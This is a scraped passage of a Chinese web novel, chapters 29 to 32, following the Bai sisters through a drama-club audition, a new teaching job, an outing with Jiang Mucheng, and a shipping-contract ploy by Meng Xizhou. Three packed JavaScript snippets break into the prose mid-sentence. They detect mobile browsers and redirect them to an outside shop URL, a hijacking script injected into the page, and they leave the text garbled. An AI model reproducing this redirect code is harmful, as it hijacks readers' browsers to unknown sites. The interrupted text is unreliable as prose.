白瑾瑜静静地瞅了她一眼,慢悠悠地在她旁边坐下,勾着嘴角淡淡道:“你真想清楚了吗?那个程巧书,如今不过嘲笑你家庭不如她,你一气之下把学退了,她更要嘲笑你连学历都不如她了。” 真是好戳心窝子的一句话,白瑾琪的哭声当下拔高了一截,以示为自己叫屈。 白瑾瑜使了个眼色,示意虞妈去洗一条热毛巾来,在虞妈走开后,轻轻叹了口气道:“你为了别人轻慢你而哭,也就是知道自己不该被轻慢,这就不错。这样趋炎附势的朋友,要她做什么?告诉你吧,为了我们家里失势,柳世新同样地看轻我,我也同他一刀两断了。” 白瑾琪慢了一拍,才反应过来:这可是差点要当她姐夫的人物啊,大姐姐居然和他分手了?! 再看白瑾瑜分外冷静的一张脸,真有些不敢相信,一时间连哭也忘了,瓮声瓮气地问:“......你、你真不难过吗?” 白瑾瑜靠在沙发上一笑,竟难得生出了耐心,和她谈起话来:“难过又怎么样?因为你难过,他就放过你,转而来爱护你吗?你自己想一想,谁都知道待人始终如一是很可贵的,那么,她在转变嘴脸之前,难道不知道这是对你的伤害吗?她抱了伤害你的心,你还露出这副哭天抢地受伤害的样子给她看,不正是宣告了她的成功吗?这是亲者痛,仇者快。” 白瑾琪傻愣愣地听着,像是在慢慢消化这话里头的意思。 白瑾瑜看她一副呆样子,忍不住拿话再刺她一下,“你真是没心眼,姓钱的拿好听的话哄着你,你就掉进蜜罐子,把她当知己了。如今栽个小跟头也好,叫你知道什么样的朋友不能交,什么样的朋友掰干净了也不必稀罕。狐狸尾巴露得早,好歹让你知道提防,好过在更大的事情上刺你一刀。” 白瑾琪不服气地撇着嘴,但也只敢在心里嘀嘀咕咕:什么嘛,你当初不也是图那姓柳的说话好听顺着你么,这可是你自己说的。 白瑾瑜见她虽然闷声不说话,到底也没有再哭的意思,便觉得是将她说通了。正好,虞妈也拿来了拧好的热毛巾,白瑾瑜便接过来,展开在手上替她擦脸。 白瑾琪哭得眼泪鼻涕糊了一脸,被热毛巾熏着,刚吸了吸鼻子,便冒出一个小鼻涕泡,又噗的破开。 这下,连白瑾瑜都忍不住破功笑了出来,三两下把她一张小脸囫囵擦了一遍,道:“行了,既然想明白了,该上学还是得去上学,知道吗?至于人家说什么家境,也别去理会,你好歹是我白家的老三,要是觉得只能靠家境立身,也未免太看轻自己。” 当天夜里,白瑾琪在被子里翻来滚去,愈发觉得大姐姐谈起和姓柳的分开时,那云淡风轻又挂着冷笑的样子,真是潇洒痛快!她要是柳世新,可不得气个半死? 再推人及己地想想自己,可不是一样的吗?程巧书越是要我气急跳脚,我越是不能着了她的道,她打上门来,我不反抗,难道还做缩头乌龟吗?干脆大家拼一拼、斗一斗罢!至于钱瑞云,那是趋炎附势的小人,自己打心眼里瞧不上她! 于是第二天去学校时,竟是格外的精神抖擞,这其中还带着一点昂扬的斗志,在她大大方方走进大礼堂时,好几个戏剧社的成员都忍不住扭过头瞧她。 白瑾琪坐在等待面试的区域,往前排看,除了坐在第一排的几个骨干成员,程巧书俨然也坐在第二排靠边的位置,说明她已经通过了昨天的面试,是戏剧社的一员了。而钱瑞云却没有陪在旁边,那大约就是没通过。 社里的普通成员又不参与打分,不必来看入社面试。白瑾琪猜想,程巧书会在这里,别是专程来看自己出丑的吧?要是自己不来,那更称她心意了,指不定还要编排自己是特意避开她,不敢见“真佛”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314520|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>白瑾琪在心里冷哼着:太可笑了,她算什么“真佛”? 前头的舞台上,在经过了三个朗诵一个歌唱后,终于念到了白瑾琪的名字,她坦然地上了台,先就对着台下灿然地一笑,报了自己的名字。 台下第一排的一众评审之中,数正中间坐着的俊秀男子最为亮眼,他手上拿一支钢笔,不住地点着夹在木板上的名册,微笑着问道:“白瑾琪同学,你有什么符合戏剧社的才艺呢?” 白瑾琪偏头想了想,笑道:“我会的不少,钢琴朗诵,跳舞唱歌,一时倒不知道展示什么好。” 视线朝程巧书的方向望去,果然看见她发了一声冷笑,偏过头翻了个白眼,很瞧不上的样子。白瑾琪可不受她的影响,程巧书越是表现得不屑,她越是笑得甜美,就是要膈应死她。 那美男子思忖了片刻,似乎是觉得前头表演朗诵和唱歌的太多,礼堂里又没有钢琴可供使用,便说:“那末,你就跳一段舞蹈吧。” 白瑾琪也不怯场,当下就往后退开几步留出空间,舒展着张开双臂,舞动起来。 大概人真是各有长短,白瑾琪的功课不怎样,在艺术舞蹈上,却实在有几分天赋,至少每个教过她跳舞的老师,对她就没有不夸赞的。就比如现在,她也没有说自己跳的是什么舞,甚至没有音乐来衬,却能叫人看得明白,这是一只振翅欲飞的小天鹅。 白瑾琪小小的桃心脸渴望地高高抬起,背脊挺得很直,可挥动的双臂连带手腕却极其柔软,起初还带着颤动,预示着这只天鹅的过分稚嫩与弱小。好几次,她伸展着臂膀向上仰,眼看就要跃起,却又徒然地落下,把观众们的心都捏紧了。 直到最后一次,她手臂的挥动更稳更有力了,伴随着脚下一个大跳,天鹅终于飞了起来! 白瑾琪在跳跃之后稳稳地落地,转身面向前方行了个弯腰礼,那意思是她的表演结束了。 一下子,台下不少人都鼓起掌来,坐在美男子旁边的一位女同学(无疑也是骨干成员)更是激动地站了起来,赞道:“太好了,太好了!我总觉得,我们往年的剧目太注重台词,其实肢体的语言,也是戏剧不可缺少的一部分呀!白同学,你正是社里需要的人才!” 她成功加入戏剧社,无疑已是板上钉钉的事了。 白瑾琪挂着甜滋滋的微笑道了声谢,再去看第二排的程巧书:哈!刚刚还是一副倨傲的样子呢,如今狠狠地咬着嘴唇,一双瞪着她的眼睛能冒出火星似的,脸都给气白了!似乎再也不能忍受看白瑾琪受追捧,一下从座位上站起来,作势要走。 她的本意,大概是想转移众人的注意,可惜程巧书自己也是个新成员,没人认识她,自然就没人询问挽留她,一时间竟僵立在原地。再没事人似的坐下,她实在做不出,只好忿忿地跺一下脚,黯然退场。 白瑾琪的心里简直要打起鼓来! 旗开得胜,今天可算是她这几个月来,最畅快的一天了! 30. 第 30 章 话分两头,需要去学校报到的,除了白瑾琪,白瑾璎也算一个。 她要就职的首都第三中学当然不能和她从小念的新西式学堂相提并论,虽算不上顶尖,但也绝不坏。如今许多中学都还不设有洋文课呢,它能配备多名外文老师,已然可以跻身“先进”之流了。据她所知,只是因为教高年级的一名老师前不久因个人原因辞去了工作,才有她顶上空缺的机会。 白瑾璎到达学校时,是由校长与另一位洋文老师亲自接待的。 校长姓秦,是一位少见的女校长,据说从前还在教会学校担任过教务主任,后经由教育部调任至第三中学任正校长。秦女士五十多的年纪,身形高瘦,神采却很奕奕,架着一副细边的眼镜,头发一丝不苟地梳在脑后,很可以看出教会学校留下的那种严谨干练的影子。 旁边的洋文老师姓缪,也不失为一位俊秀洋气的男子,只是神态里似乎总带着一点倨傲,也不知是不是自己的错觉。 在秦校长介绍过学校的大致情况与几点重大校规后,便由二人带着白瑾璎先去教师办公室。路上,秦女士略提了一句早前辞职的陈老师,让白瑾璎先用她的座位,一旁的缪老师就酸溜溜地开口了。 “陈老师真够潇洒,甩下这片烂摊子不管,自己倒是找了个浙江老板,嫁人享福去了。”他不屑似的撇了撇嘴,“现在的老板,都开始推崇懂知识的女性了,她挂着个中学洋文老师的好招牌,也不想想学校培养她,也是费了很大劲儿的。” 他转头看向白瑾璎时,倒是露出很亲和的笑脸,道:“所以白小姐能来,真是很救我们的急。而且我看白小姐是很有修养的样子,绝不至于干出拿学校当跳板的事吧?” 白瑾璎一时呆愣住了,觉得这缪老师说话不光阴阳怪气,逻辑也有些古怪之处:我要结婚就结婚,怎么就是拿学校当跳板呢?反过来说,难道我来学校任教了,就不能够结婚了吗?不然就有利用学校头衔之嫌疑?这是什么道理? 她从前总觉得,洋文学得好的人,受外国开放风气之熏陶,心胸大多是很开阔的。见了眼前这一位,到底还是把这一想法给否定了,可见还是因人而异这话最有道理。 在她纠结着说不出话的几秒钟里,倒是走在前面的秦女士半开玩笑地接了一句:“照这样说,小缪你怎么不跳一个?如今的社会,有钱有势的女老板不少啊。你要是真能用好这‘跳板’,横竖我不会说你丢一地烂摊子的。” 缪老师像给这话刺了一下,脸上不大服气的样子,可又不敢当面顶嘴,只好挤了个笑脸退让一步:“秦校长哪里的话,我一个大男人,把自尊和责任看得很重呢,做不出这样的事。” 这大概算是个小小的敲打,把人送到教师办公室后,秦校长便赶去开会了。 第一堂课早已经开始,是以此时办公室里的老师不多,大多上课去了。缪老师拿手指轻轻敲着白瑾璎的桌子,微笑着说:“白老师,我们两个负责的是高年级的洋文课,统共六个班级一人一半,大概一天是两到三节课的量。排课不多,不过事关升学考试,责任也是很重大的。” “还有么,”他沉吟一下,商量道,“刚才走过教学楼时想必你也看见了,班级是按编号一溜儿排的,要是同时教一班和六班,跑动起来就很麻烦。所以我的意思,不如就按教室位置来分,我教一二三,你教四五六,你看怎么样?” 白瑾璎初来乍到,当然不懂其中有什么弯弯绕,本着少和同事起冲突的心态,便答应下来。 “好!好!”缪老师一连说了两句好,可见心情之愉快,对白瑾璎完全不吝笑容了,“白老师这么爽快,比从前的陈老师可好过太多了。大家同是负责高年级的同事,往后有什么不懂的,只管来问我就是。” 说着,往白瑾璎正对面的座位上一坐,替她誊抄了一份四五六三个班级的课表。 下课铃打过后,便是办公室“轮班换血”的时刻,缪老师喜气洋洋地拿着教案走了出去,应当是有课要上,白瑾璎还没有,便继续留在办公室里。不一会儿,一位三十多岁略显敦实的男人擦着一头的热汗进来了,除了教案,他腋下还夹了两块木质的三角板,想必是位数学老师了。 那人见办公室来了新面孔,还是位年轻美丽的小姐,一下便猜到了是新任职的洋文老师,很热情地过来打招呼。 白瑾璎和他互通了姓名,知道这数学老师姓吴,在简单讲明了自己的情况后,吴老师当即拍着大腿“啊呀”了一声,有一种眼看着别人傻乎乎上当受骗的扼腕,问:“小缪真是这样分?他管一二三,你管四五六?” 白瑾璎怔怔地点了点头。 吴老师原本就沁着细汗的脸又给气红了,忿忿不平道:“他这是明摆着欺负你呀!你不知道,我们学校是按入学考试的成绩分的班级哩,一班的学生成绩最好,越往后越次之。你想,他把头三个班级捏在手里,到底学生聪明好学呀,哪怕他教得差一点,考试成绩总不会差的,这不都成他一个人的功劳了吗?” “他教洋文,本来不碍我什么事,不过小缪这个人,心眼子真是不少。”吴老师用鼻子重重出一口气,“原先陈老师在的时候,好歹还是一三五、二四六的分法,我瞧得出来,他那时就嫉妒小陈手上拿着一班,也嫌弃六班拖他的后腿。这下好了,坏的烂的,都一股脑塞给你了。” 白瑾璎这才明白,何以缪老师在自己答应提议后,这样的喜形于色了。 不过她早就想过,当老师,绝没有只教好学生而不教差学生的道理,不然,“教”的意义从何体现?往极端了说,谁都是由不懂慢慢学起的,要是只想通过好学生来彪炳自己教学的价值,那岂不是谁也不愿做启蒙的那一个?往后还哪儿来的学生可教呢? 白瑾璎道:“成绩好一点坏一点,这我倒不怕,我的任务,不就是把不会的学生教到会吗?” 吴老师咂摸着这一句话,总算笑了起来,道:“你有这个 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吴老师一谈起这,又是一副恨铁不成钢的样子,道:“那学生叫孙立学,偏偏最不好好学,上课瞌睡讲闲话,那都是小的;最怕课上和你抬杠,哄抬得全班乱乱哄哄。要真这样,你只管叫他去教室外头罚站,连带着他那两个小跟班,徐克行和梁小山一起,你清静了,他也觉得自由。” 白瑾璎道了谢,默默将这三个名字记下。 当天下午正有一节六班的课。白瑾璎对于教学内容并不担心,却真有些害怕班里的闹事分子,毕竟她最不擅长的就是吵架和管束别人。想不到走进教室,倒是很风平浪静的气氛,一点名才发现,吴老师报上名字的三个学生,一个也不在座位上,显然是逃课出去玩了。 白瑾璎心里多少松了口气,在名册上标记一笔后,便按计划开始上课。 她先做了个自我介绍,又用几句洋文问话摸了摸学生的底子,确实是不大高明,发音磕磕绊绊不说,甚至连一些基础文法都没有厘清。这要在缪老师看来,可不就是块想要一脚踢开的绊脚石吗! 白瑾璎却不是那么功利的性格,她是沉静又不徐不疾的,连说话都是慢条斯理,有耐心把最简单的文法知识掰碎了讲,若是有学生答题正确,她也不吝啬褒奖。 整一间教室的学生,她能明显感觉出其中几个对洋文是抱有热情的,另外,原本趴在后排瞌睡的几个男同学里,竟也有几个在中途重新支起了脑袋,这对她而言也未尝不是一种鼓舞。 当第一天的工作结束时,白瑾璎的心里竟也生出了一点成就感。 她脚步轻快地走出校门,没有往搭乘电车的方向走,反而是沿着右手边的马路一直往前。走到路口处,刚想扬手招一辆人力车来,忽听一辆洋车在紧挨着自己的马路上鸣了一声喇叭。 白瑾璎原以为是自己挡了人家的道,便往旁边让了一让,视线无意间一瞥,倒觉得那辆车格外的眼熟。 与此同时,洋车主人也从里头摇下车窗,目光温和地望着她道:“赶着去哪里?我跟着你开了一路,你都没有发现。” 31. 第 31 章 这位开车的先生,除却蒋牧城,还能是谁呢? 白瑾璎吃惊不小,随即惊喜的笑脸便浮现在脸上,道:“蒋二哥!你怎么在这儿?海关总署距离这里可不近,难不成是特意来看一看我吗?那我太过意不去了。” 她会这样问,实在没有夹带什么私心。自从父亲出事之后,蒋牧城在方方面面都格外帮忙,之前搬家的时候,不也是他安排了汽车和佣人搬箱子运行李吗?自己来第三中学教书,他也是知情的,上班头一天来探望探望,很像是这么个温厚的大哥哥会做出来的事。 但于蒋牧城而言,在听见白瑾璎问是不是来看她时,到底心旌摇曳了一瞬,可看她脸上是一派纯洁天真的样子,又不得不把那钟摆一般摇动的心,给攥住了。 蒋牧城笑了一笑,说:“说我是特意来看你,我要惭愧了。是今天下午刚好在这附近办事,离你上班的地方这样近,怎么也不能不过来看看吧。” 白瑾璎抿着微笑,冲他谢道:“那也算是特意来看我了,谢谢蒋二哥。” 蒋牧城握着汽车方向盘的手指无意识地攥紧一下,问道:“你要去哪里呢?据我所知,往椿樟街的电车不在这个方向,是走错了吗?那也不要紧,我总归把你送回家的。”说着,人已经从车里下来了,替白瑾璎拉开了另一边的车门。 白瑾璎也不是头一次坐蒋牧城的车子,从前白瑾瑜嫌蒋牧城古板无趣,办年轻人的小聚会小活动时从来不叫他。但白瑾瑜总有看顾不上的时候,譬如他们两个在外头偶遇上了,或是蒋牧城来白公馆做客时,刚好听见白瑾璎说要去哪儿,他也会主动提出护送一程,前前后后算一算,总也坐过不少回了。 故而白瑾璎也不扭捏,很自然地坐进副手座,赶在蒋牧城发动汽车前道:“不要调头,我想去一趟春华大饭店再回家,它们家最近新开了西点档口,据说专门挖角了上海国际饭店的点心师傅。我是第一天上班,总要买点什么回去,表示庆祝的意思。” 蒋牧城点了点头,一面稳妥地开车,一面问她今天发生的事。 听着白瑾璎在边上絮絮叨叨地说话,扭头看时,又可以见她整个人放松地坐在自己的副手座上,那实在是一种令人沉醉的光景。以至于他还没有所觉呢,春华大饭店标志性的尖角房顶,已经映入眼帘了。 将汽车停在路边走近一看,只见除了正中间气派的玻璃转门不断进出客人外,在建筑的右边又另开了一个大窗口,做了一面玻璃的陈列柜,一条队伍正从窗口的位置排出来,一路绕到春华饭店的侧面。 白瑾璎看见长队,先就觉得自己没有来错,果不其然,走得越近,越能闻到一阵浓郁的奶油香气,迎面扑得人满脸。 待两人在队尾站定,白瑾璎忍不住感叹:“从前虞妈老说,文清轩的蟹壳黄烧饼多少出名,去得晚了,少说要排半个钟头的队。你看这里大排长龙的样子,比文清轩也不遑多让了吧?” 蒋牧城是大户人家的少爷,从来也不必自己排长队买东西,故而对排队一刻钟或半个钟头没什么数,只说,“总归上海的点心师傅请得不亏。” 正是这时候,前排的队伍骚动起来,还带着一点似惊似喜的呼声。蒋牧城起先不知道是怎么一回事,下意识往白瑾璎身边贴近了一步,肩膀交错着,做出一种支持保护的姿态,及至这时,事态也已经明了了。 原来是穿了白围裙戴白帽子的点心学徒端了盘子出来,一路请排队的客人试吃新推出的招牌点心。 他喊着:“上海鼎鼎大名的蝴蝶酥哦,请了国际饭店的老师傅烘烤的,客人试一试?”一人分一片,一路下来,很快走到了蒋牧城和白瑾璎跟前,再看托盘里,点心却只剩一片了。 那学徒打量了眼前这对男女一眼,见两人站得这样近,就快要抱上了呀!再细看一眼,可不就是一对金童玉女? 心道,这还不简单!伸手便将那像蝴蝶又像鸡心形状的小点心一拗,一人给了一半,一边重新挂上热情洋溢的笑脸,道:“先生小姐慢吃,要是觉得好,就多买点带回家去。”说罢,端着盘子又回去了。 那学徒动作太快,白瑾璎还没反应过来呢,手里已经被塞了半块点心,听着他又是“试试”又是“慢吃”的,下意识就把点心往嘴里送。等咬了一半,才意识到自己这是和蒋牧城分吃了一块点心啊。 她心里总觉得难为情,像她从小受的教导,从来都不兴和别人分东西吃的,又不是买不起,整个让给人家,自己另买就是了。最多最多,就是小时候和白瑾瑜掰着分过饼干,是以对她而言,分东西吃总是件很亲密的事。 白瑾璎一时间竟扭捏起来,捏着剩下的那一半,怎么都下不了口。 反倒是蒋牧城出声提醒她:“你不吃吗?不好吃?”因为站得近的缘故,总觉得有呼吸的热气拂过耳廓。 白瑾璎的心跳仿佛乱了一拍,欲盖弥彰似的把余下的一股脑送进嘴里,抬头去看蒋牧城,发现他神色自若地早已经吃完了。 兴许真是自己想得太多呢?一块西点而已,又不是......白瑾璎眨了眨眼,要把脑子里的怪念头赶跑似的,小声问:“你觉得怎么样?” 蒋牧城的眼睫慢慢地一眨,那里头似有若无地透出一种餍足的愉悦,他想到点心上的糖粒子咬在牙齿间微硬的口感,视线里是白瑾璎挽在耳后的长头发和精致洁白的耳廓,于是觉得那甜滋滋的味道一路顺着喉咙往下,落入到五脏六腑。 分明是一副好心情的模样,嘴上却说:“太甜了。” 队伍走得快,很快就轮到了他们俩。白瑾璎对着玻璃柜子点了点蝴蝶酥,说:“我要两袋。”又扭头问蒋牧城道,“你想吃什么,我一并买给你吧?你说蝴蝶酥太甜了,咸味的葱油饼干好不好呢?” 蒋牧城这一次倒没有抢着会账,只是思忖了一会儿,也把手指点在她很近的旁边,说:“那么,我也要两袋吧。” 白瑾璎疑惑道:“不是说太甜吗?我以为你不喜欢呢。” 蒋牧城便望了她一眼,微笑着说:“这个甜味,我倒是很喜欢。” 白瑾璎似懂非懂,那到底是喜欢甜,还是不喜欢甜呢?大概人的口味,都很高深莫测吧。这样想着,便把刚才报出的两袋,改做了四袋。 里头负责装袋的学徒刚把点心送了过来,往档口外一张望,啊呀,可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14336048|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是刚才那对分了一颗“爱心”的男女吗!他的殷勤劲头便又上来了,推荐道:“四袋都买蝴蝶酥啊?不如换两袋别的如何?一起吃还能多尝几个味道哩,很好的!” 白瑾璎被他说得窘迫非常,只能一个劲地说“不用”,细声细气地推辞,“我们就喜欢这个......”同时拿出钱夹子飞快地会了账。 那学徒看着两人一番反应,还默默引发一阵感慨哩:看这先生气度不凡,打扮得也气派,怎么买块饼都要小姐掏钱?如今这时代,真是大变样了呀! 这一段插曲总算过去,白瑾璎提着点心回家时,家里的姐姐妹妹都已经到齐了。白瑾琪恐怕是闻到了奶油香味,一下就从楼上跑了下来,看见桌上的纸袋子就道:“蝴蝶酥!我见过广告画报呢,说春华大饭店新雇了国际饭店的师傅!” 在她身后,白瑾瑜才慢悠悠地晃下来,说:“快吃吧,谁也比不上你懂流行。” 白瑾琪冲她撅了噘嘴,手上麻利地拆开纸袋,用手指衔一片喂进嘴里。她那活泼泼兴奋的样子,和早前蔫蔫的白瑾琪浑然是两个人,连白瑾璎都看出来了,问:“怎么这么高兴,有什么好事不成?” 白瑾琪灿灿一笑,抬着小下巴得意道:“那可不!我进了学校的戏剧社了!不光如此,程巧书想联合钱瑞云对我来个落井下石,偏偏我给了她们一个好看!” 这一听就是女同学之间的瓜葛,程巧书啊钱瑞云啊,连名字都和中学时没变化。白瑾璎微笑着不说话,和旁边的白瑾瑜默契地对视一眼,彼此眼里都有几分无奈兼好笑。 但白瑾琪能快活起来,实在是件好事。 热闹地吃过晚饭又说了会儿话后,三人便各做各的事去。中学的洋文课程简单,白瑾璎不花多少时间就备好了第二天用的教案,紧跟着琢磨起外文书的译稿,这才是需要费脑筋的事呢。 她一个人住在三楼,四周静悄悄的听不见人声,很难觉察到时间的流逝。这一看,不知不觉就到了夜里十点。 白瑾璎转了转脖子,心想着这就睡下吧,提一提手边的水壶,才发现已经空了,于是便想下楼倒壶水来再睡。她披了件开衫推门下楼,经过二楼时,遥遥看见客厅那处的地板上映出一道又细又长的人影。 白瑾璎吓了一跳,壮着胆子才敢探头再看一眼,却是披着睡袍的白瑾瑜静静靠在窗台边,手指间闪着一点橙黄色的火光,那是她夹着一支香烟。 白瑾瑜显然也听见了动静,扭过头,冲她微微地一笑。 那笑容和身影实在有一种孤独又脆弱的意味,白瑾璎也顾不上倒水,随手将水壶往不知哪个桌上一放,走上去轻声问她:“这么晚了不睡,还抽起烟来,怎么了吗?” 白瑾瑜的视线淡淡扫过手里细长的女士香烟,半晌笑了笑,道:“我不大抽的,不过求一点心理上的安慰罢了,既然你来了,也就用不到这香烟了。”手上一用劲,已将香烟摁灭了。 橙黄色的光点消失了,便只剩那静默无声的月光透过窗户,撒了两人满身。 白瑾瑜便是在这月光之中叹了口气,问:“瑾璎,你说,我的生意要是做不下去了,怎么办呢?” 32. 第 32 章 背靠大树好乘凉,这道理从白瑾瑜预备做外贸生意开始,就很清楚。故而在白齐盛去世,白家式微之际,要和船务公司续下一份合同会有何等之难,她也早有了心理准备。 无论如何,总要尽力一试。只是见到船务公司的闫处长特意提了公文包,又架上一副玳瑁眼镜,做一副公事公办的模样后,也知道那希望是很渺茫了。 白瑾瑜做的是外贸饰品和服装生意,顾客乃是首都圈子里有钱的太太小姐们,将漂亮的发夹手表、礼帽礼服,都汇总到一家门店之中,省去了女士们东奔西跑搜罗货品的时间不说,店里给出的搭配,也是国外最时兴的,令人眼前一亮。 是以,她的货品在精不在多,譬如一个模样别致的珊瑚发夹,至多进货不超过五个,丝袜兴许多些,礼服则要更少。有钱的小姐们是常办聚会的,试问,谁愿意在聚会上见到别人和自己穿戴的一样呢? 这些货品林林总总加在一起,也未必能填满渡轮的一个货仓,可想而知,和船务公司的租赁合同就很难商谈了。别家用到货轮的,哪个不是一船一船的靠岸下货,哪里会专程为她这样的“散客”腾出位置? 从前因为白齐盛的缘故,船务公司对她很是优待,因为运货时总会有两三间空仓,便让记录员特意记下,用来装白瑾瑜的货品,价格上更是等同于半租半送,甚至会避开和大宗商品同船,就怕搬运的工人手上没轻没重,把她的东西磕着碰着一点。 如此优渥的条件,现在再想享有,那是绝不能够了。 白瑾瑜听着闫处长解释着各项租赁条件,诸如货仓通常是半船半船来租,每艘渡轮往返海外的频次也不一样云云,也就明白,这次协商是没什么交情可讲了。干脆也拿出了对公的姿态,很谦逊地问道:“贵司这样广博的人脉,一定有例外的,落单的货仓未必没有,您不方便明说,我很明白。不如我们来谈谈价格,我虽只租单间货仓,却多加三成的费用,怎么样呢?” 闫处长露出一副为难的神态,叹气道:“白小姐,不是我故意给您钉子碰,实在是没有这样的先例。唉,我也和您透个底吧,东家的朋友里,有只租用三间货仓的,您要是也租三间,那未必不能谈下。” 白瑾瑜心里飞快地盘算着盈亏:三间货仓相比半船,缩减了近一半,但相比单间,哪怕按多加三成的费用来算,也还是超出太多。如若进货数量保持不变,自己费心费力不说,赚头太过有限;如若进满三个货仓......不成不成,自己这是赶着流行跑的生意,最忌讳囤货,风险太大了。 这样一想,已经把这一条路给堵死了。 合同签不成了。白瑾瑜心里固然忧虑,面色却没有表现出来,像是对这一结果淡然接受了似的。 对比她的淡然,闫处长倒显得很局促,原因无他,他今天可是带着任务来的哩!照他的想法,眼看着合作无望,白小姐总该软磨硬泡地多问几句,那自己就可以说“白小姐,何必舍近求远呢?”,这话题不就顺下去了吗?可偏偏人家一句话也不问哩! 闫处长兀自懊恼,可心里却觉得白瑾瑜年纪轻轻,有这样一份从容,是很令人敬佩的。 他推了推鼻梁上的眼镜,自嘲般道:“原本我还想,今天要是表露出不予合作的意思,大概总要受到一番胡搅蛮缠,如今看来,我是大大地想错了您,太惭愧了。” 白瑾瑜倒是很释然地一笑,客客气气道:“做生意也不是玩游戏,我怎会胡搅蛮缠?何况闫处长百忙之中愿意抽空见我,已经很帮忙了,绝不会有意为难我,我又怎么好让您难做呢?这一次合作不成固然可惜,要是往后再有机会,我可还要叨扰您的。” 闫处长再说不出一句话来,内心里,一面对这位白小姐的练达赞叹不已,一面又隐隐觉得,自己东家的算盘恐怕打得不妙。只是被派下的任务不能不完成,只好硬着头皮道:“我听说,白小姐和我们东家也是朋友哩。” 白瑾瑜一下没反应过来,问道:“东家?说的是孟西洲孟先生?” 见闫处长满意地点了点头,才称赞道,“哦,是。孟先生人很周到,我父亲办白事的时候,他还来表示过慰问,我实在很感激他。” 闫处长见白瑾瑜对孟西洲的评价不低,悬着的心可算放下了一半,脸上也绽开笑花来:“啊呀,那交情可不算浅呀,既然是熟朋友,您和我东家当面谈一谈,可不比和我谈有用得多吗?据我知道的,东家很看重白小姐哩!” 闫处长一身轻松地告辞了,像甩下了什么重担似的,倒让白瑾瑜对他的话狐疑起来。 闫处长何以突然提到孟西洲?那句说孟西洲看重她的话,又作何解?她和孟西洲大概算得上是朋友,可往年商谈合约时都是在外头,从没在他的船务公司里露过面,何以让一个处长觉得,孟西洲这个东家很重视自己? 再想想细节之处,闫处长在回绝自己后显得很不自在,设若他早早推测自己和孟西洲有点交情,何不直接在一开始就建议自己去找孟西洲?省得他再唱一回黑脸。 可要是反过来想呢?设若是孟西洲要借由闫处长,引得自己去找他呢? 这就又有一个问题:他到底是想和她合作,还是不想?要是他愿意继续合作,哪里还用闫处长出动?自己大笔一挥,这事儿也就定下了。可要是不想,兜了一个圈子,不还是叫闫处长把他“供”出来了么?除非...... 白瑾瑜边走边想,想到这“除非”的时候,正好一脚踏进了椿樟街的家门。她被这一闪而过的念头击中,才恍然惊觉自己出了一身的凉汗。 除非。 除非他根本也不关心合作与否,合同不过是鱼钩,是诱饵,而闫处长则是长线。他非但要引得自己去找他,还要用闫处长做不到而他能做到这一事实,叫她牢记住这个人情。 白瑾瑜下意识打了个寒噤,忽然想到很久之前,孟西洲开车从乔治饭店把自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369282|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送回家的那一天。 也是奇怪,那之后发生了多少事,又是丧礼又是乔迁的,以为这大厦倾塌的瓦砾早已把这些昔日的小事掩埋过去了呢,这会儿竟一下就从记忆里冒出头来。孟西洲那时满脸的不甘心,他在不甘心什么?不甘心和自己出双入对的是柳世新......吗? 白瑾瑜心里乱成一团麻,她很少有这样焦虑又举棋不定的时候,忍不住在客厅里来回地踱步。好几次,她人已走进了电话间,刚要伸手去够那电话筒,想一想,又收回了。 直到时间过去了大半个钟头,白瑾瑜仰靠在沙发上,望着客厅墙上挂着的月份牌,恍然觉得:时间过得真如流水一样快,曾经以为挨不过去的日子,一晃眼也就过去了,自己如今白白地踟蹰不决,时间可是永远地过去了! 她猛地吁出一口气,自嘲般低笑一声,自言自语道:“爸爸不在了,可我也不能丢了他的脸!” 说罢,整个人都痛快地行动起来,最先做的,就是往孟公馆拨去一个电话。孟西洲要自己去找他,那就去找他好了,要是连他想说什么想做什么都不敢知道,那未免太过怯懦。 那一边,电话接得极快,几乎是铃一响就被接起了,一个佣人问要找谁。 白瑾瑜报了孟西洲的名字,那佣人便请她稍等。实则也没有等多久,很快电话便易主,对面传来孟西洲久违的声音:“白小姐,怎么打来给我了呢?” 白瑾瑜对他的装傻充愣不予置评,口吻如常道:“有事想要请教,不知道今天方不方便?” 对面像是想不到她会直言发出邀请,倒静默了几秒,随即答应下来。两人便约了下午四点钟,在从前去过的一家咖啡厅碰面。 孟西洲到得早,在白瑾瑜被西崽引上二楼的时候,他已然在一处靠窗的座位上坐定了。见到她后,温和从容地点头致意,一面示意她就坐,一面微笑着道:“白小姐,好久不见了。我知道你最近一定事务缠身,也不敢打扰你,一直等你的电话。我想我们的情谊总归不错,你要是有什么需要帮忙的,总不会不来找我吧?” 白瑾瑜微笑着看他。 